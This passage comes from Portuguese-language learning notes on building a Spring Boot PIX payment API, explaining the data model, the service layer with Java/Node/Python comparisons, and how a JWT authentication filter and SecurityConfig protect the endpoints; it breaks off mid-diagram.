test: automatico quando roda mvn test
prod: SPRING_PROFILES_ACTIVE=prod (env var no deploy)
Grupo 3: Configuracoes Java (@Configuration)
SecurityConfig.java: → SecurityFilterChain: define quem acessa o que → CSRF desabilitado (API stateless) → Sessao STATELESS (cada request traz JWT) → PasswordEncoder (BCrypt) — adicionado na Fase 03 KafkaConfig.java: → Cria topico "pix-transactions" (3 particoes) → Cria topico "pix-notifications" (3 particoes) → auto.create.topics=false (topicos so criados explicitamente) OpenApiConfig.java: → Titulo, versao, descricao da API no Swagger → Botao "Authorize" para testar com JWT → Acessivel em /swagger-ui.html
Grupo 4: Infraestrutura
docker-compose.yml: → PostgreSQL 16 (porta 5432): banco de dados → Kafka 3.8 KRaft (porta 9092): mensageria → Kafka UI (porta 8090): interface visual → Volumes nomeados: dados persistem entre restarts → Healthcheck: Docker sabe quando o Postgres esta pronto Dockerfile: → Multi-stage build: primeiro compila, depois cria imagem leve → Resultado: imagem de producao sem codigo-fonte V1__create_schema.sql: → CREATE EXTENSION uuid-ossp (habilita UUID no Postgres) → Primeira migration — Flyway registra que ja rodou → REGRA: migrations ja executadas NUNCA sao alteradas
Se o projeto fosse um restaurante: o pom.xml e a lista de compras
(ingredientes/dependencias). O docker-compose e a planta do predio
(cozinha = Postgres, salao = Kafka, balcao = Kafka UI). Os application-*.yml
sao os cardapios diferentes para almoco (dev), degustacao (test) e jantar (prod).
O PixHubApplication.java e a chave que abre o restaurante de manha.
Fase 01 — Universal vs Especifico do Java
Documentado em 20/03/2026 — RetrospectivaLogicas UNIVERSAIS (funcionam em qualquer linguagem)
CONCEITO JAVA (nosso projeto) NODE.JS PYTHON
────────── ──────────────── ──────── ──────
Gerenciador de deps pom.xml (Maven) package.json (npm) requirements.txt (pip)
Containerizacao Dockerfile Dockerfile Dockerfile
Orquestracao docker-compose.yml docker-compose.yml docker-compose.yml
Configs por ambiente application-{profile}.yml .env + dotenv settings.py + env
Migrations de banco Flyway (V1__*.sql) Prisma Migrate Alembic
Documentacao de API Swagger/OpenAPI Swagger (swagger-jsdoc) FastAPI (automatico!)
Tratamento de erros GlobalExceptionHandler Error middleware Exception handler
Health check /actuator/health Custom /health endpoint Custom /health endpoint
Mensageria Kafka (spring-kafka) Kafka (kafkajs) Kafka (confluent-kafka)
Logicas ESPECIFICAS do Java/Spring
ESPECIFICO COMO OUTRAS LINGUAGENS RESOLVEM
──────────── ────────────────────────────────
@SpringBootApplication Node: nao tem equivalente — voce
(auto-configuracao magica) configura Express manualmente
@Configuration + @Bean Node: exporta objetos de config
(declarar beans no container) Python: funcoes com @app.on_event
Profiles (dev/test/prod) Node: NODE_ENV + .env files
integrados ao framework Python: DJANGO_SETTINGS_MODULE
Maven (pom.xml com XML verbose) Node: package.json (JSON simples)
Python: pyproject.toml / setup.py
Starters (spring-boot-starter-web) Node: instala libs separadas
pacotes prontos com tudo incluso (express + cors + body-parser...)
Tomcat embutido Node: nao precisa (runtime ja serve)
(servidor HTTP dentro do .jar) Python: uvicorn/gunicorn separado
A logica de setup e universal: todo projeto precisa de dependencias, banco de dados, configs por ambiente e documentacao. Java faz isso com XML e annotations, Node faz com JSON e imports, Python faz com decorators e YAML. E como montar um escritorio: todos precisam de mesa, cadeira e computador — so a marca muda.
Retrospectiva Fase 02 — Arquitetura do Dominio
Documentado em 20/03/2026 — RetrospectivaO que a Fase 02 fez?
A Fase 02 criou o modelo de dados completo do sistema PIX. Se a Fase 01 foi "construir o predio", a Fase 02 foi "mobiliar todos os andares" — definir QUAIS informacoes existem no sistema e COMO elas se relacionam.
Mapa de entidades e relacionamentos
BaseEntity (classe mae abstrata)
├── id (UUID)
├── createdAt
└── updatedAt
│
┌───────────────┼───────────────┬────────────────┬──────────────┐
│ │ │ │ │
▼ ▼ ▼ ▼ ▼
Account PixKey Transaction QrCode AuditLog
(conta) (chave PIX) (transferencia) (QR Code) (auditoria)
│ │ │ │
│ ┌──────────┘ │ │
│ │ │ │
│ │ @ManyToOne │ @ManyToOne (x2) │
│ │ "N chaves → 1 conta" │ "sender → 1 conta" │
│ │ │ "receiver → 1 conta" │
│ ▼ ▼ │
└────┴──────────────────────────┘ │
Account e o CENTRO de tudo │
(toda operacao PIX passa por uma conta) │
│
WebhookConfig │
(notificacao) │
│ │
│ @ManyToOne │
│ "N webhooks → 1 conta" │
└──────────► Account │
│
AuditLog NAO tem FK — usa entityType + entityId (string) │
para referenciar QUALQUER entidade (polymorphic association) ◄─────┘
Os 25 arquivos da Fase 02
ENTIDADES (7 arquivos — os "moldes" dos dados): BaseEntity.java → classe mae: id, createdAt, updatedAt Account.java → conta bancaria: titular, saldo, status PixKey.java → chave PIX: tipo, valor, conta dona Transaction.java → transferencia: valor, remetente, destinatario QrCode.java → QR Code PIX: estatico ou dinamico AuditLog.java → registro de auditoria: quem fez o que WebhookConfig.java → config de notificacao: URL, eventos, secret ENUMS (9 arquivos — valores fixos permitidos): AccountType → CHECKING, SAVINGS AccountStatus → ACTIVE, INACTIVE, BLOCKED PixKeyType → CPF, CNPJ, EMAIL, PHONE, RANDOM PixKeyStatus → ACTIVE, INACTIVE TransactionStatus → PENDING, PROCESSING, COMPLETED, FAILED, REFUNDED QrCodeType → STATIC, DYNAMIC QrCodeStatus → ACTIVE, EXPIRED, USED AuditAction → CREATE, UPDATE, DELETE, STATUS_CHANGE WebhookStatus → ACTIVE, INACTIVE REPOSITORIES (6 arquivos — consultas prontas para cada entidade): AccountRepository, PixKeyRepository, TransactionRepository, QrCodeRepository, AuditLogRepository, WebhookConfigRepository MIGRATIONS (6 arquivos — estrutura das tabelas no PostgreSQL): V2__create_account_table.sql V3__create_pix_key_table.sql V4__create_transaction_table.sql V5__create_qrcode_table.sql V6__create_audit_log_table.sql V7__create_webhook_config_table.sql
Impacto no projeto
SEM Fase 02: COM Fase 02: ❌ Nenhum dado pode ser salvo ✅ 6 tabelas no banco de dados ❌ Nenhuma estrutura de dados ✅ 7 entidades JPA mapeadas ❌ Sem saber quais dados existem ✅ 9 enums definindo valores validos ❌ Sem consultas ao banco ✅ 6 repositories com queries prontas ❌ Sem integridade de dados ✅ FKs, constraints, indices ❌ Schema do banco e uma caixa vazia ✅ Flyway aplica 6 migrations
A Fase 02 e como definir a planta baixa de cada andar. Antes, o predio estava vazio. Agora cada andar tem suas salas definidas: andar de contas, andar de chaves PIX, andar de transacoes. Cada sala tem portas que conectam a outras (FKs) e regras de acesso (constraints). Os repositories sao os elevadores que levam voce direto ao andar certo.
Fase 02 — Entidades e Relacionamentos em Detalhe
Documentado em 20/03/2026 — RetrospectivaBaseEntity — A classe mae
@MappedSuperclass ← "NAO crie tabela para mim, so copie meus campos para os filhos"
public abstract class BaseEntity {
@Id @GeneratedValue(strategy = UUID)
private UUID id; // chave primaria unica
@Column(updatable = false)
private LocalDateTime createdAt; // quando foi criado (imutavel)
private LocalDateTime updatedAt; // ultima atualizacao
@PrePersist → executado antes do INSERT
@PreUpdate → executado antes do UPDATE
}
Sem BaseEntity, repetiriamos id/createdAt/updatedAt em CADA entidade.
Com 7 entidades, sao 21 campos duplicados evitados.
Account — O centro do sistema
Campos: holderName → nome do titular (VARCHAR 120) holderDocument → CPF ou CNPJ (VARCHAR 14, so digitos) bankCode → codigo ISPB do banco (ex: "20018183" = Nubank) branch → agencia (VARCHAR 4) accountNumber → numero da conta (VARCHAR 10) accountType → CHECKING ou SAVINGS (enum) balance → saldo (BigDecimal — NUNCA Double para dinheiro) status → ACTIVE, INACTIVE ou BLOCKED (enum) Decisoes de design: • BigDecimal em vez de Double: 0.1 + 0.2 = 0.30000000000000004 com Double! • holderDocument sem UNIQUE: uma pessoa pode ter varias contas • Indices em holderDocument e (bankCode, branch, accountNumber)
PixKey — Chave PIX
Campos: keyType → CPF, CNPJ, EMAIL, PHONE ou RANDOM keyValue → o valor da chave (UNIQUE em todo o sistema!) account → @ManyToOne: N chaves pertencem a 1 conta status → ACTIVE ou INACTIVE (soft delete) Regras reais do BACEN: • Max 5 chaves por conta PF, 20 por PJ • Uma chave e UNICA no Brasil inteiro • Chave pode ser transferida entre bancos (portabilidade)
Transaction — Transferencia PIX
Campos: endToEndId → ID unico no ecossistema PIX do Brasil (recibo) amount → valor da transferencia (BigDecimal) senderAccount → @ManyToOne: conta que ENVIA (debita) receiverAccount → @ManyToOne: conta que RECEBE (credita) receiverPixKey → chave PIX usada (String, NAO FK — historico) status → PENDING → PROCESSING → COMPLETED/FAILED idempotencyKey → evita cobranca duplicada (CRITICO!) failureReason → motivo da falha, se houver Maquina de estados: PENDING → PROCESSING → COMPLETED (caminho feliz) PENDING → PROCESSING → FAILED (erro: saldo insuficiente, etc) COMPLETED → REFUNDED (estorno) Idempotencia explicada: Cliente clica "Pagar" 2x por lag. Ambas chegam com mesma idempotencyKey. Sistema detecta duplicata → retorna transacao existente em vez de cobrar 2x. Toda API financeira seria (Stripe, BACEN) exige isso.
QrCode, AuditLog e WebhookConfig
QrCode.java:
→ STATIC: QR fixo sem valor (barraquinha de acai)
→ DYNAMIC: QR com valor e prazo (cobranca especifica)
→ payload: string codificada no padrao BRCode do BACEN
AuditLog.java:
→ Registra TODA operacao que modifica dados
→ entityType + entityId: referencia QUALQUER entidade
→ oldValue/newValue: snapshots JSON do antes e depois
→ Em fintech, o BACEN pode pedir logs a qualquer momento
WebhookConfig.java:
→ URL que recebe notificacoes via POST
→ events: quais eventos ativam ("TRANSACTION_COMPLETED,...")
→ secret: chave HMAC para verificar autenticidade
Cada entidade e um formulario padrao do banco: Account e o formulario de abertura de conta. PixKey e o formulario de registro de chave. Transaction e o comprovante de transferencia. QrCode e a maquininha de cobranca. AuditLog e o livro de registros da auditoria. WebhookConfig e o numero do celular onde voce quer receber avisos.
Fase 02 — Universal vs Especifico do Java
Documentado em 20/03/2026 — RetrospectivaLogicas UNIVERSAIS da Fase 02
CONCEITO JAVA NODE.JS PYTHON ────────── ──── ─────── ────── Entidades/Modelos @Entity classes Prisma schema/Models SQLAlchemy Models Classe base herdada @MappedSuperclass Classe base JS/TS Mixin ou base class Enums enum Java enum TypeScript Enum Python Relacionamento N:1 @ManyToOne Prisma relations relationship() Chave primaria UUID @GeneratedValue(UUID) @id @default(uuid()) Column(UUID, default=) Indice unico @UniqueConstraint @@unique UniqueConstraint Soft delete status + deactivatedAt deletedAt field is_active flag BigDecimal (dinheiro) BigDecimal Decimal.js Decimal (decimal module) Migrations versionadas Flyway (SQL puro) Prisma Migrate Alembic Idempotencia idempotencyKey UNIQUE idempotencyKey UNIQUE idempotency_key UNIQUE Audit log polimorfico entityType + entityId entityType + entityId content_type + object_id
Logicas ESPECIFICAS do Java
ESPECIFICO COMO OUTRAS LINGUAGENS RESOLVEM ──────────── ──────────────────────────────── @Entity + @Table + @Column Prisma: schema.prisma (DSL propria) (mapeamento ORM por annotations) Python: class Meta no Model @MappedSuperclass Node/Python: heranca normal de classe (heranca JPA especial) (sem annotation especial) @PrePersist / @PreUpdate Prisma: middleware (lifecycle callbacks por annotation) SQLAlchemy: event.listen() JpaRepository<Entity, UUID> Prisma: prisma.account.findUnique() (interface gera queries automaticamente) SQLAlchemy: session.query() Bean Validation (@NotBlank, @Size) Zod/Joi (runtime validation) (validacao declarativa) Pydantic (Field(min_length=...)) Lombok (@Getter, @Setter, @Builder) Node: nao precisa (JS e conciso) (gera codigo repetitivo) Python: @dataclass ou attrs FetchType.LAZY Prisma: include (explicito) (controle de carregamento de relacoes) SQLAlchemy: lazy="select"
Destaque: por que BigDecimal e nao Double?
// JAVA:
double x = 0.1 + 0.2; // 0.30000000000000004 ← ERRADO!
BigDecimal y = new BigDecimal("0.1").add(new BigDecimal("0.2")); // 0.3 ← CERTO
// NODE.JS:
let x = 0.1 + 0.2; // 0.30000000000000004 ← ERRADO!
// Solucao: Decimal.js ou multiplicar por 100 (trabalhar em centavos)
// PYTHON:
x = 0.1 + 0.2 # 0.30000000000000004 ← ERRADO!
from decimal import Decimal
y = Decimal('0.1') + Decimal('0.2') # 0.3 ← CERTO
Regra universal: NUNCA use ponto flutuante para dinheiro.
Use Decimal/BigDecimal ou trabalhe em centavos (inteiros).
Modelar dados e como desenhar a planta de um hospital: todo hospital do mundo precisa de salas de cirurgia, leitos e recepcao (conceitos universais). Mas as normas de construcao mudam por pais (Java usa annotations, Node usa schemas, Python usa decorators). O resultado final e o mesmo: um lugar organizado onde cada coisa tem seu lugar e as salas se conectam com corredores (FKs).
Retrospectiva — Arquitetura da Camada de Servico
Documentado em 20/03/2026 — RetrospectivaO que a camada de servico fez?
As Fases 01 e 02 criaram a estrutura (predio) e os modelos (moveis). A camada de servico trouxe a logica de negocio — as regras que fazem o sistema FUNCIONAR. E o "gerente" que decide: "pode criar essa conta?", "o CPF e valido?", "a conta esta bloqueada?"
Mapa de arquivos e como se conectam
Frontend (curl ou React)
│
│ POST /api/v1/accounts {"holderName":"Riel",...}
▼
AccountController.java ← GARCOM: recebe pedido, repassa
│
│ @Valid valida o DTO
▼
CreateAccountRequest.java ← FORMULARIO: so campos permitidos
│ (@NotBlank, @Size, @Pattern)
│ se validacao falhar → MethodArgumentNotValidException
│ → GlobalExceptionHandler → 400
▼
AccountService.java ← CEREBRO: toda logica de negocio
│
├──► DocumentValidator.java ← valida CPF/CNPJ (algoritmo modulo 11)
│ se invalido → BusinessRuleViolationException → 422
│
├──► AccountRepository ← verifica se conta ja existe
│ se duplicada → ResourceAlreadyExistsException → 409
│
├──► AccountMapper.java ← converte Request → Entity
│
├──► AccountRepository.save() ← salva no banco
│
├──► AuditService.java ← registra no audit log
│ └──► AuditLogRepository ← salva audit no banco
│
├──► AccountMapper.java ← converte Entity → Response
│
└──► AccountResponse.java ← DTO de saida (so campos seguros)
│
▼
JSON de volta para o frontend (201 Created)
EXCECOES (hierarquia):
BusinessException (mae)
├── ResourceNotFoundException (404)
├── ResourceAlreadyExistsException (409)
├── BusinessRuleViolationException (422)
├── InsufficientBalanceException (422)
├── AccountBlockedException (403)
└── IdempotencyConflictException (200)
GlobalExceptionHandler captura TODAS automaticamente
e retorna ErrorResponse padronizado
Os 7 endpoints do AccountController
POST /api/v1/accounts → criar conta (201)
GET /api/v1/accounts/{id} → buscar por ID (200)
GET /api/v1/accounts/by-document/ → buscar por CPF/CNPJ (200)
PUT /api/v1/accounts/{id} → atualizar dados (200)
PATCH /api/v1/accounts/{id}/block → bloquear conta (200)
PATCH /api/v1/accounts/{id}/unblock → desbloquear conta (200)
DELETE /api/v1/accounts/{id} → desativar — soft delete (204)
Impacto no projeto
SEM Camada de Servico: COM Camada de Servico: ❌ Dados existem mas ninguem os usa ✅ 7 endpoints REST funcionando ❌ Sem validacao de CPF/CNPJ ✅ Validacao algoritmica (modulo 11) ❌ Sem regras de negocio ✅ Bloqueio de conta, duplicidade, etc ❌ Entity exposta direto na API ✅ DTOs filtram entrada e saida ❌ Sem rastreamento de operacoes ✅ AuditService registra tudo ❌ Erros retornam stack trace Java ✅ Erros padronizados (ErrorResponse) ❌ Cada erro tratado diferente ✅ Hierarquia de excecoes + handler
A camada de servico transformou o predio vazio num banco funcionando. O Controller e o caixa do banco (atende o cliente). O Service e o gerente (toma decisoes). O Mapper e o formulario (traduz pedido do cliente para linguagem interna). O Repository e o cofre (guarda e busca dados). O AuditService e a camera de seguranca (registra tudo). O ExceptionHandler e o SAC (quando algo da errado, responde educadamente).
Camada de Servico — Universal vs Especifico do Java
Documentado em 20/03/2026 — RetrospectivaLogicas UNIVERSAIS da Camada de Servico
CONCEITO JAVA NODE.JS PYTHON ────────── ──── ─────── ────── Controller/Router @RestController express.Router() @app.post() Service layer @Service class service module service class DTOs (Request/Response) Classes tipadas Interfaces TS/Zod Pydantic models Mapper (Entity↔DTO) Classe com metodos static Funcao mapToResponse() Schema .from_orm() Validacao de entrada @Valid + @NotBlank Zod .parse() / Joi @validator (Pydantic) Validacao de CPF/CNPJ Classe DocumentValidator cpf-cnpj-validator validate-docbr Tratamento global de erros @RestControllerAdvice app.use(errorHandler) @app.exception_handler Hierarquia de excecoes extends BusinessException extends AppError class AppError(Exception) Audit trail AuditService audit middleware audit mixin Soft delete status = INACTIVE deletedAt timestamp is_active = False HTTP status corretos 201, 204, 400, 404, 409 Mesmos codigos HTTP Mesmos codigos HTTP Transacoes atomicas @Transactional prisma.$transaction session.begin()
Logicas ESPECIFICAS do Java
ESPECIFICO COMO OUTRAS LINGUAGENS RESOLVEM
──────────── ────────────────────────────────
@Valid no parametro do Controller Node: middleware de validacao
(validacao antes de entrar no metodo) Python: Pydantic valida automatico
@RestControllerAdvice Node: app.use((err, req, res, next))
(intercepta excecoes de TODOS os (middleware manual no final)
controllers automaticamente) Python: @app.exception_handler()
@Transactional na classe Node: precisa chamar explicitamente
(Spring aplica em todo metodo) prisma.$transaction(async (tx) => ...)
Python: with session.begin():
ResponseEntity<T> Node: res.status(201).json(data)
(tipagem forte na resposta HTTP) Python: return JSONResponse(data, 201)
Constructor Injection Node: importa e usa direto
(Spring injeta dependencias) Python: Depends() no FastAPI
ObjectMapper (Jackson) Node: JSON.stringify() nativo!
(converte Java → JSON) Python: json.dumps() nativo!
Exemplo comparado: criar conta em 3 linguagens
public AccountResponse createAccount(CreateAccountRequest request) {
if (!DocumentValidator.isValidDocument(request.getHolderDocument()))
throw new BusinessRuleViolationException("Documento invalido");
if (accountRepository.existsByHolderDocumentAndBankCode(...))
throw new ResourceAlreadyExistsException("Ja existe conta");
Account account = AccountMapper.toEntity(request);
Account saved = accountRepository.save(account);
auditService.logCreate("Account", saved.getId().toString(), "system", saved);
return AccountMapper.toResponse(saved);
}
async function createAccount(request: CreateAccountRequest) {
if (!isValidDocument(request.holderDocument))
throw new BusinessRuleError("Documento invalido");
const exists = await prisma.account.findFirst({where: {...}});
if (exists) throw new AlreadyExistsError("Ja existe conta");
const saved = await prisma.account.create({data: request});
await auditService.logCreate("Account", saved.id, "system", saved);
return toResponse(saved);
}
def create_account(request: CreateAccountRequest, db: Session):
if not is_valid_document(request.holder_document):
raise BusinessRuleError("Documento invalido")
exists = db.query(Account).filter_by(holder_document=...).first()
if exists: raise AlreadyExistsError("Ja existe conta")
account = Account(**request.dict())
db.add(account); db.commit(); db.refresh(account)
audit_service.log_create("Account", str(account.id), "system", account)
return AccountResponse.from_orm(account)
A logica e identica nas 3 linguagens: validar documento, verificar duplicidade, salvar, auditar, converter para resposta. A sintaxe e diferente, mas o raciocinio e o mesmo. Isso significa que tudo que voce esta aprendendo neste projeto Java serve para qualquer stack.
A logica de negocio e como uma receita de bolo: "misture farinha, acucar e ovos; bata por 5 minutos; leve ao forno a 180°C". A receita funciona em qualquer cozinha do mundo (Java, Node, Python). O que muda e o fogao (framework), a marca da farinha (biblioteca) e o idioma em que a receita esta escrita (sintaxe). O bolo sai igual.
Passo 3.3 — Arquitetura do Filtro JWT e Security Config
Aprendido em 21/03/2026 — Fase 03 (Seguranca)O problema que este passo resolve
Ate o passo 3.2, o sistema sabia criar tokens (login/register), mas nao verificava os tokens nas requisicoes seguintes. Imagine que voce montou uma portaria moderna com uma maquina de imprimir crachas (JwtService) e uma recepcao onde as pessoas se identificam (AuthController). A maquina funciona perfeitamente — imprime crachas com nome, cargo, e data de validade.
Porem... nao existe catraca em lugar nenhum do predio.
Qualquer pessoa entra em qualquer andar, com ou sem cracha. O cracha
existe, mas ninguem pede para ve-lo. Era exatamente isso que acontecia:
o endpoint POST /auth/login devolvia um JWT, mas os endpoints
GET /api/v1/accounts aceitavam qualquer request — com ou sem token.
O passo 3.3 instalou a catraca: agora toda requisicao HTTP passa por um filtro que verifica se ha um JWT valido. Se o endpoint exige autenticacao e a request nao tem token (ou o token e invalido), o sistema recusa com 401 Unauthorized.
ANTES (passo 3.2): DEPOIS (passo 3.3):
────────────────── ──────────────────
SecurityConfig: SecurityConfig:
/api/** → permitAll() /api/v1/auth/** → permitAll()
(TODOS os endpoints abertos) anyRequest() → authenticated()
(so publico o que deve ser)
Sem CORS configurado: CORS configurado:
React nao consegue chamar a API React (porta 5173) acessa normalmente
Erro 401 = HTML generico: Erro 401 = JSON padronizado:
<html><h1>Whitelabel Error</h1>... {"status":401, "message":"..."}
(frontend nao consegue parsear) (frontend trata facilmente)
Teste pratico: Teste pratico:
curl /api/v1/accounts → 200 ✅ curl /api/v1/accounts → 401 ❌
(qualquer um acessa!) curl -H "Authorization:
Bearer eyJ..." /api/v1/accounts → 200 ✅
(so com cracha valido!)
Os 3 arquivos criados/alterados e seus papeis
Este passo criou 2 arquivos novos e atualizou 1 existente. Cada um tem uma responsabilidade clara no sistema de seguranca:
┌─────────────────────────────────────────────────────────────────────────┐ │ ARQUIVO │ PAPEL │ ANALOGIA │ ├───────────────────────────────────┼───────────────────┼────────────────┤ │ JwtAuthenticationFilter.java │ A CATRACA │ Verifica o │ │ (NOVO) │ Intercepta TODA │ cracha de │ │ config/ │ request HTTP e │ cada pessoa │ │ │ valida o JWT │ que entra │ ├───────────────────────────────────┼───────────────────┼────────────────┤ │ JwtAuthenticationEntryPoint.java │ O AVISO │ A placa que │ │ (NOVO) │ Quando alguem │ diz "acesso │ │ config/ │ e barrado, diz │ negado, va │ │ │ POR QUE em JSON │ a recepcao" │ ├───────────────────────────────────┼───────────────────┼────────────────┤ │ SecurityConfig.java │ O MANUAL DE │ O documento │ │ (ATUALIZADO) │ SEGURANCA │ que define │ │ config/ │ Define regras, │ as regras do │ │ │ registra filtros │ predio │ └─────────────────────────────────────────────────────────────────────────┘
A Cadeia de Filtros — o caminho que cada request percorre
No Spring Security, cada requisicao HTTP passa por uma cadeia de filtros (filter chain) — uma sequencia de verificacoes, uma atras da outra. E como um aeroporto: voce passa pelo detector de metais, depois pela checagem de passaporte, depois pelo raio-X da mala, e so DEPOIS chega ao portao de embarque. Se reprovar em qualquer etapa, voce e barrado ali mesmo.
Request HTTP do frontend (React)
│
│ GET /api/v1/accounts
│ Headers: { Authorization: "Bearer eyJhbGciOi...", Content-Type: "application/json" }
│
▼
┌─── FILTRO 1: CORS ─────────────────────────────────────────────────────┐
│ "De onde vem essa request?" │
│ │
│ → http://localhost:5173 (React)? ✅ Origem permitida, pode passar │
│ → http://site-malicioso.com? ❌ Origem nao permitida, BLOQUEADO │
│ │
│ Configurado em: SecurityConfig.corsConfigurationSource() │
│ Nota: so afeta NAVEGADORES. curl/Postman nao passam por aqui. │
└────────────────────────────────────────────────────────────────────────┘
│ passou ✅
▼
┌─── FILTRO 2: CSRF (desabilitado) ──────────────────────────────────────┐
│ CSRF protege contra ataques via formularios HTML usando cookies. │
│ Desabilitamos porque: API REST stateless usa JWT, nao cookies. │
│ Se usassemos cookies de sessao, CSRF seria OBRIGATORIO. │
└────────────────────────────────────────────────────────────────────────┘
│ passou ✅ (sempre passa — esta desabilitado)
▼
┌─── FILTRO 3: JwtAuthenticationFilter (NOSSO — passo 3.3) ─────────────┐
│ "Tem token no header Authorization? E valido? E do tipo access?" │
│ │
│ Cenario A — SEM token: │
│ → Nao autentica, mas NAO bloqueia. Passa adiante. │
│ → O proximo filtro decidira se o endpoint exige autenticacao. │
│ │
│ Cenario B — Token INVALIDO (expirado, assinatura errada): │
│ → Mesmo comportamento: nao autentica, passa adiante. │
│ → Nosso filtro NUNCA retorna 401 diretamente. │
│ │
│ Cenario C — Token VALIDO do tipo "access": │
│ → Extrai email e role dos claims do JWT │
│ → Cria autenticacao no SecurityContext │
│ → Request agora e "autenticada" — tem identidade │
│ │
│ Cenario D — Token valido do tipo "refresh": │
│ → IGNORA. Refresh tokens so servem para POST /auth/refresh. │
│ → Impede ataque: usar refresh token para acessar APIs protegidas │
│ │
│ Arquivo: config/JwtAuthenticationFilter.java │
│ Usa: service/JwtService.java (do passo 3.2) para validar o token │
└────────────────────────────────────────────────────────────────────────┘
│ passou ✅ (sempre passa — filtro nunca bloqueia diretamente)
▼
┌─── FILTRO 4: AuthorizationFilter (automatico do Spring Security) ──────┐
│ "Esse endpoint exige autenticacao? A request esta autenticada?" │
│ │
│ Regras definidas no SecurityConfig: │
│ /api/v1/auth/** → permitAll() → qualquer um acessa │
│ /actuator/** → permitAll() → health checks (Docker) │
│ /swagger-ui/** → permitAll() → documentacao da API │
│ /v3/api-docs/** → permitAll() → specs OpenAPI │
│ QUALQUER OUTRO → authenticated() → precisa de JWT valido │
│ │
│ Se o endpoint exige autenticacao E a request NAO esta autenticada: │
│ → Chama o JwtAuthenticationEntryPoint (proximo filtro) │
│ │
│ Se o endpoint e publico OU a request esta autenticada: │
│ → Continua para o Controller ✅ │
└────────────────────────────────────────────────────────────────────────┘
│
├── BARRADO? (endpoint protegido + sem autenticacao)
│ ▼
│ ┌─── FILTRO 5: JwtAuthenticationEntryPoint (passo 3.3) ─────────────┐
│ │ "Acesso negado. Vou explicar o por que em JSON padronizado." │
│ │ │
│ │ Resposta: │
│ │ HTTP 401 Unauthorized │
│ │ Content-Type: application/json │
│ │ { │
│ │ "timestamp": "2026-03-21T12:30:00", │
│ │ "status": 401, │
│ │ "error": "Unauthorized", │
│ │ "message": "Autenticacao necessaria. Envie um JWT valido...", │
│ │ "path": "/api/v1/accounts" │
│ │ } │
│ │ │
│ │ Sem ele: o Spring retornaria HTML generico (Whitelabel Error) │
│ │ Arquivo: config/JwtAuthenticationEntryPoint.java │
│ └────────────────────────────────────────────────────────────────────┘
│
└── LIBERADO? (endpoint publico OU request autenticada)
▼
┌─── CONTROLLER (destino final) ────────────────────────────────────┐
│ So chega aqui quem passou por TODA a cadeia. │
│ │
│ O Controller pode consultar quem esta logado: │
│ SecurityContextHolder.getContext().getAuthentication() │
│ → principal = "riel@email.com" │
│ → authorities = [ROLE_USER] │
│ │
│ E pode usar @PreAuthorize para restringir ainda mais: │
│ @PreAuthorize("hasRole('ADMIN')") → so admins acessam │
└────────────────────────────────────────────────────────────────────┘
Fluxo detalhado do JwtAuthenticationFilter
O JwtAuthenticationFilter e o coracao do passo 3.3. Ele herda de
OncePerRequestFilter — uma classe do Spring que garante
que o filtro executa exatamente uma vez por request
(importante porque o Spring pode processar a mesma request em multiplos
dispatchers internos, como forward e error).
doFilterInternal(request, response, filterChain):
─────────────────────────────────────────────────
PASSO 1 — Extrair o token do header
────────────────────────────────────
header = request.getHeader("Authorization")
O padrao HTTP para autenticacao e enviar no header:
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWI...
└─────┘└──────────────────────────────┘
tipo o token JWT em si (Base64)
"Bearer" e o tipo de autenticacao (existem outros: Basic, Digest).
Removemos "Bearer " (7 caracteres) para ficar so com o token.
Se nao tem header ou nao comeca com "Bearer " → token = null
PASSO 2 — Sem token? Passa adiante
───────────────────────────────────
if (token == null) {
filterChain.doFilter(request, response); // proximo filtro
return;
}
IMPORTANTE: o filtro NAO bloqueia requests sem token!
Ele simplesmente nao autentica. O Spring Security (AuthorizationFilter)
decidira depois: se o endpoint e publico → OK. Se exige auth → 401.
Por que nao bloquear aqui? Porque endpoints como /auth/login
NAO TEM token (o usuario ainda nao fez login!). Se bloqueassemos
aqui, ninguem conseguiria fazer login.
PASSO 3 — Validar o token com JwtService
─────────────────────────────────────────
Claims claims = jwtService.validateToken(token);
O JwtService (criado no passo 3.2) verifica:
✓ A assinatura bate com nossa chave secreta? (nao foi adulterado?)
✓ O token nao expirou? (exp > agora?)
✓ O formato e valido? (3 partes separadas por ponto?)
Se QUALQUER verificacao falhar → claims = null → passa sem autenticar
PASSO 4 — Verificar o tipo do token
────────────────────────────────────
String tokenType = claims.get("type", String.class);
if (!"access".equals(tokenType)) {
log.warn("Tentativa de usar token tipo '{}' como access", tokenType);
filterChain.doFilter(request, response);
return;
}
Por que isso e CRITICO?
No passo 3.2, criamos dois tipos de token:
- access token: curta duracao (15 min), usado para acessar APIs
- refresh token: longa duracao (7 dias), usado SO para renovar tokens
Sem essa verificacao, um atacante poderia usar o refresh token
(que dura 7 dias!) para acessar endpoints protegidos. Isso anularia
completamente a vantagem de ter tokens de curta duracao.
PASSO 5 — Token valido! Extrair os dados do usuario
────────────────────────────────────────────────────
String email = claims.getSubject(); // "riel@email.com"
String role = claims.get("role", String.class); // "USER"
Esses dados foram colocados no token durante o login (JwtService).
Agora estamos lendo de volta — sem consultar o banco de dados!
Essa e a grande vantagem do JWT: os dados viajam COM o token.
PASSO 6 — Criar autenticacao no SecurityContext
────────────────────────────────────────────────
(detalhes na proxima pagina — SecurityContext merece explicacao propria)
UsernamePasswordAuthenticationToken auth =
new UsernamePasswordAuthenticationToken(
email, // principal (quem e)
null, // credentials (nao precisa)
List.of(new SimpleGrantedAuthority("ROLE_" + role)) // authorities
);
SecurityContextHolder.getContext().setAuthentication(auth);
A partir daqui, qualquer parte do codigo pode perguntar:
"Quem esta fazendo essa request?" e receber a resposta.
PASSO 7 — Continuar a cadeia
────────────────────────────
filterChain.doFilter(request, response);
// A request segue para o proximo filtro → eventualmente chega no Controller
Mapa de conexoes: como os arquivos se relacionam
┌─── application.yml ──────────────┐
│ jwt.secret │
│ jwt.access-token-expiration │
│ jwt.refresh-token-expiration │
└─────────┬───────────────────────┘
│ @ConfigurationProperties le esses valores
▼
┌─── JwtProperties.java ──────────┐
│ secret │
│ accessTokenExpiration │
│ refreshTokenExpiration │
└─────────┬───────────────────────┘
│ injetado via construtor
▼
┌──── PASSO 3.2 ─────────────────────────────────────────────────────┐
│ JwtService.java │
│ generateAccessToken(email, role) ← AuthService usa no login │
│ generateRefreshToken(email) ← AuthService usa no login │
│ validateToken(token) ← Filter usa A CADA REQUEST │
│ getEmailFromToken(token) ← AuthService usa no refresh │
└────────────────┬──────────────────────┬────────────────────────────┘
│ │
usado no login usado a cada request
│ │
▼ ▼
┌──── PASSO 3.2 ────────┐ ┌──── PASSO 3.3 (NOVO) ──────────────┐
